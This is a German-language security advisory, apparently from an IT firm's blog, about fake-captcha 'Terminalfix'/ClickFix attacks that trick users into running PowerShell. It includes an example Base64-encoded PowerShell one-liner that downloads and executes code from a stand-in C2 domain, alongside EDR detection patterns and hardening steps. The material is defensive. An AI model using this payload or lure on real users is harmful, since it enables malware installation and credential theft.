BSI-Alarm „Terminalfix“: Warum gefälschte Captchas IT-Netze kapern

Im September 2026 hat das Bundesamt für Sicherheit in der Informationstechnik (BSI) eine dringliche Warnung vor der „Terminalfix“-Kampagne herausgegeben: Kriminelle kapern reguläre Webseiten und täuschen Besucher mit gefälschten Cloudflare- oder Google-Captchas. Wer die angebliche 'Verifizierung' durchführt, führt unbemerkt verheerenden PowerShell-Schadcode im eigenen Terminal aus. Warum herkömmliche Firewalls hier versagen und wie Unternehmen ihre Webpräsenzen und Endpoints jetzt härten müssen.

1. Die Anatomie der Täuschung: Wenn das Captcha zur Waffe wird

Die klassische Cyber-Abwehr im B2B-Mittelstand folgt seit Jahren einem bewährten Paradigma: E-Mail-Gateways filtern verdächtige Links und Anhänge, Web-Proxys sperren bekannte Phishing-Domänen und Endpoint-Detection-and-Response-Systeme (EDR) scannen nach bekannten Malware-Signaturen. Doch was geschieht, wenn ein Angriff weder einen bösartigen E-Mail-Anhang noch ein manipuliertes Makro-Dokument benötigt – sondern den legitimen menschlichen Anwender selbst dazu bringt, die Schutzmechanismen seines Betriebssystems willentlich auszuhebeln?

Genau dieses Szenario beschreibt der dringliche Lagebericht, den das Bundesamt für Sicherheit in der Informationstechnik (BSI) am 7. September 2026 nach gravierenden Sicherheitsvorfällen in der Berliner Landes-IT und mehreren Industrieunternehmen veröffentlichte. Im Fokus der Warnung steht eine aggressive Angriffswelle, die unter dem Fachbegriff „Terminalfix“ (international als „ClickFix“ bekannt) dokumentiert wird.

Die Täter kapern legitime, vertrauenswürdige Unternehmens-Websites – häufig WordPress-Instanzen mit veralteten Plugins oder anfällige Web-Applikationen – und injizieren einen scheinbar harmlosen JavaScript-Code. Besucht ein Mitarbeiter im Büro oder Homeoffice diese Seite, blockiert ein täuschend echter Überlagerungsdialog den Bildschirm. Die Benutzeroberfläche imitiert bis ins kleinste Detail vertraute Sicherheitsabfragen, etwa den „Cloudflare Turnstile“-Roboter-Check, eine „Google reCAPTCHA v3“-Prüfung oder einen angeblichen Browser-Fehler der Marke „DNS-Cache beschädigt – automatische Reparatur erforderlich“.

Die Raffinesse des Angriffs liegt in der psychologischen Manipulation (Social Engineering): Um zu „beweisen, dass man kein Bot ist“ oder um „den Anzeigefehler zu beheben“, fordert der Dialog den Anwender zu einer kurzen Tastenkombination auf:

1. Windows-Taste + R (Öffnen des Windows-Ausführen-Dialogs) oder Öffnen des Terminals unter macOS/Linux.
2. Strg + V (Einfügen).
3. Enter (Bestätigen).

Was der Nutzer für eine harmlose Reparatur- oder Bestätigungssequenz hält, ist in Wahrheit ein hochgradig obfuskierter, Base64-codierter PowerShell-Einzeiler, der im selben Moment über die moderne HTML5-Zwischenablage-API (navigator.clipboard.writeText) lautlos im Speicher des Rechners abgelegt wurde. Mit dem Druck auf die Enter-Taste initiiert der Anwender eigenhändig den Systemabsturz: Binnen Millisekunden wird ein vollwertiger Information-Stealer nachgeladen, der Session-Cookies, VPN-Zertifikate und Browser-Passwörter an Command-and-Control-Server (C2) der Angreifer exfiltriert.

2. Der Angriffsvektor im technischen Detail: Die ClickFix-Mechanik

Um wirksame Abwehrmechanismen zu etablieren, müssen IT-Leiter, CISOs und Software-Architekten die exakte Kette des Angriffs (Kill Chain nach MITRE ATT&CK) verstehen. Die Terminalfix-Architektur kombiniert Web-Injektion (T1059.007), Clipboard-Manipulation (T1115), User-Execution (T1204.002) und PowerShell-Payloads (T1059.001) zu einer nahtlosen Kompromittierungs-Pipeline.

Phasen des Terminalfix-Angriffs

Exemplarischer Aufbau des injizierten Payloads

Ein typischer Befehl, der durch die Zwischenablage geschleust wird, nutzt gezielt LOLBins (Living off the Land Binaries) – also legitime Windows-Dienstprogramme, um signaturbasierte Erkennungen zu umgehen:

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command ^
"$b = [System.Convert]::FromBase64String('aWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL2FwaS5jMnNlcnZlci1kb21haW4ubmV0L2dldCcp'); ^
$c = [System.Text.Encoding]::UTF8.GetString($b); Invoke-Expression $c"

Dieser Einzeiler bewirkt Folgendes:

• -NoProfile: Verhindert das Laden benutzerdefinierter PowerShell-Profile, um Startverzögerungen zu eliminieren.
• -ExecutionPolicy Bypass: Versucht die lokale Skript-Restriktion für diesen Aufruf auszuhebeln.
• -WindowStyle Hidden: Schließt das geöffnete Konsolenfenster sofort wieder, sodass der Mitarbeiter keinen Verdacht schöpft.
• Invoke-Expression (iex): Führt den dynamisch aus dem Internet nachgeladenen Base64-Schadcode direkt im RAM aus, ohne eine Datei auf der Festplatte abzulegen (Fileless Malware).

3. Warum KMUs und Enterprise-Netze doppelt gefährdet sind

Die Terminalfix-Angriffswelle bedroht Unternehmen aus zwei völlig unterschiedlichen Blickwinkeln: als Betroffener über kompromittierte Clients und als unfreiwilliger Gehilfe über die eigene Webpräsenz.

Gefahr 1: Der eigene Mitarbeiter als Einfallstor (Credential Theft & Lateral Movement)

Wird ein Arbeitsplatzrechner infiziert, geht es den Angreifern im Jahr 2026 selten um die sofortige Zerstörung von Systemen. Das primäre Ziel moderner Stealer-Banden ist das Abfangen von Identitäten und aktiven Sitzungen:

Gefahr 2: Die eigene Website als Erfüllungsgehilfe (Haftungs- & NIS2-Falle)

Der zweite, oft übersehene Aspekt ist die Haftung: Wenn die offizielle Website Ihres Unternehmens kompromittiert und mit Terminalfix-Skripten infiziert wird, werden Ihre Kunden, Partner und Geschäftskontakte beim Besuch Ihrer Domain angegriffen.

Unter der europäischen NIS2-Richtlinie sowie der DSGVO (Art. 32 – Sicherheit der Verarbeitung) drohen drastische Konsequenzen:

4. Technische Gegenmaßnahmen für Webseitenbetreiber

Wer moderne Web-Plattformen betreibt, darf sich nicht auf die Annahme verlassen, dass der Webserver unantastbar ist. Eine mehrschichtige Härtung (Defense in Depth) verhindert, dass Schadcode injiziert oder im Browser des Nutzers ausgeführt werden kann.

1. Strikte Content Security Policy (CSP)

Die wirksamste Waffe gegen clientseitige Injektionen ist ein rigoros konfigurierter Content-Security-Policy-HTTP-Header. Wenn der Browser angewiesen wird, Inline-Skripte und unautorisierte Fremddomänen strikt zu ignorieren, verpufft der Terminalfix-Code wirkungslos:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com 'nonce-R4nd0mStr1ng'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.pragma-code.de; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

Die goldenen CSP-Regeln gegen Terminalfix:

2. Subresource Integrity (SRI)

Binden Sie JavaScript-Bibliotheken (wie jQuery, Charts oder UI-Komponenten) über CDNs ein, muss zwingend der integrity-Tag mit einem SHA-384- oder SHA-512-Hash gesetzt werden. Wird das Skript auf dem CDN manipuliert, verweigert der Browser das Laden:

<script 
  src="https://cdn.example.com/npm/library@2.4.0/dist/bundle.min.js" 
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" 
  crossorigin="anonymous">
</script>

3. Architekturwechsel: Headless & Static Stacks (Astro / Next.js) statt PHP-Monolithen

Die überwältigende Mehrheit der für Terminalfix gekaperten Websites basiert auf veralteten, überfrachteten WordPress-, Typo3- oder Joomla-Installationen mit 30 bis 50 Drittanbieter-Plugins. Jedes Plugin stellt ein potenzielles Einfallstor für Injektionen dar.

Bei Pragma-Code setzen wir für performante und sichere Unternehmenswebsites auf moderne, statisch generierte Architekturen (wie Astro oder serverless Next.js):

5. Endpoint- & System-Härtung für IT-Administratoren

Selbst wenn ein Mitarbeiter auf einer externen, fremden Website auf den Fake-Captcha-Trick hereinfällt, muss das lokale IT-Sicherheitskonzept verhindern, dass der PowerShell-Code Schaden anrichten kann.

Gegenüberstellung: Traditioneller Antivirus vs. Zero-Trust-Härtung

Konkrete Härtungsmaßnahmen für Windows-Netzwerke

1. PowerShell Constrained Language Mode global erzwingen

Der einfachste und effektivste Schutz gegen fileless PowerShell-Angriffe ist die Aktivierung des eingeschränkten Sprachmodus über Gruppenrichtlinien (GPO) oder Umgebungsvariablen. Im ConstrainedLanguageMode werden Methoden wie DownloadString, Invoke-Expression und direkte COM-Aufrufe blockiert:

# Setzen der System-Umgebungsvariable per administrativer PowerShell:
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")

Nach einem Neustart führt jeder Versuch, unautorisierten Code im RAM auszuführen, zu einem sofortigen Abbruch mit Fehlermeldung: „Die Ausführung von Skripten ist in diesem Modus auf grundlegende PowerShell-Funktionen beschränkt.“

2. Windows Defender Application Control (WDAC) / AppLocker

Konfigurieren Sie AppLocker-Regeln so, dass Standard-Benutzer keine Skripte aus Verzeichnissen wie C:\Users\...\AppData\ oder C:\Temp\ starten können. PowerShell-Aufrufe mit dem Parameter -ExecutionPolicy Bypass müssen über Richtlinien administrativ unterbunden werden.

3. EDR-Verhaltensregeln gegen Process-Spawning

Überwachen Sie mit Ihrer EDR-Lösung (z. B. Microsoft Defender for Endpoint, SentinelOne oder CrowdStrike) verdächtige Eltern-Kind-Prozessbeziehungen. Folgende Ereignisse müssen einen Prio-1-Alarm auslösen:

• chrome.exe / msedge.exe / firefox.exe ➔ erzeugt ➔ explorer.exe mit Argumenten
• explorer.exe (über den Ausführen-Dialog) ➔ startet ➔ powershell.exe mit den Flags -WindowStyle Hidden oder -EncodedCommand
• powershell.exe ➔ baut ausgehende TCP-Verbindungen auf unbekannte Ports/IPs auf

4. Browser-Richtlinien härten (GPO)

Über ADMX-Vorlagen für Google Chrome und Microsoft Edge sollten Administratoren den Zugriff auf die Web-Zwischenablage beschränken:

• DefaultClipboardSetting: Auf 2 setzen (Websites das Lesen und Schreiben der Zwischenablage standardmäßig verweigern, es sei denn, der Nutzer erlaubt es explizit pro vertrauenswürdiger Domäne).

6. Der Notfall-Leitfaden: Was tun bei Verdacht auf Infektion?

Hat ein Mitarbeiter gemeldet, dass er einen Verifizierungscode im Terminal ausgeführt hat, zählt jede Minute. Da moderne Information-Stealer ihre Exfiltration innerhalb von 60 bis 180 Sekunden abschließen, muss der Incident-Response-Prozess sofort anlaufen.

7. Fazit & Handlungsplan: Keine Ausführung ohne Verifikation

Die BSI-Warnung vor Terminalfix markiert einen qualitativen Wendepunkt in der Bedrohungslandschaft des Jahres 2026: Angreifer greifen nicht mehr primär Software-Schwachstellen an, sondern nutzen die Hilfsbereitschaft und Gewohnheit von Anwendern aus, um System-Tools gegen das eigene Unternehmen zu wenden.

Für IT-Entscheider und Geschäftsführer im Mittelstand ergeben sich daraus zwei unumstößliche Prinzipien:

Möchten Sie überprüfen, ob Ihre Unternehmens-Websites und IT-Systeme gegen moderne Angriffsvektoren wie Terminalfix, Session Hijacking und Supply-Chain-Injektionen geschützt sind? Das Team von Pragma-Code auditiert Ihre Sicherheitsarchitektur, implementiert maßgeschneiderte Content Security Policies und unterstützt Sie beim Umstieg auf moderne, manipulationssichere Web-Stacks.

Unsere Expertise vor Ort

Wir sind Ihr digitaler Partner – regional verankert und überregional erfolgreich.

Kontaktanfrage in Ihrer Region starten →

IT Lösungen BerlinIT Lösungen HamburgIT Lösungen MünchenIT Lösungen KölnIT Lösungen Frankfurt am MainIT Lösungen StuttgartIT Lösungen DüsseldorfIT Lösungen LeipzigIT Lösungen DortmundIT Lösungen EssenIT Lösungen BremenIT Lösungen HannoverIT Lösungen NürnbergIT Lösungen WienIT Lösungen GrazIT Lösungen LinzIT Lösungen SalzburgIT Lösungen ZürichIT Lösungen GenfIT Lösungen BaselIT Lösungen Bern

Erweitertes Fachglossar